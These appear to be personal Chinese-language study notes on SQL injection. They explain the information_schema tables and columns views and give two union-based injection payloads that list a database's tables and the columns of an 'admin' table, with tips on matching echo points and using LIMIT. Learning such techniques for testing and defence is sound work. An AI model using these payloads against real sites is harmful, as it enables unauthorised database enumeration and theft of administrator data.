SQL注入学习-20220405

information_schema数据库：

information_schema.tables表：储存数据库和表的关联。

字段(即列)名称：

1、table_schema：数据库

2、table_name：表

union Select *,table_name from information_schema.tables where table_schema=database() limit x,y

注：

* 凑足回显点。

limit x,y 从x+1行数据向下取y条。

information_schema.columns表：储存数据库、表、字段的关联。

字段(即列)名称：

1、table_schema：数据库

2、table_name：表

3、columns_name：字段

union select *,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit x,y

* 凑足回显点。

limit x,y 从x+1行数据向下取y条。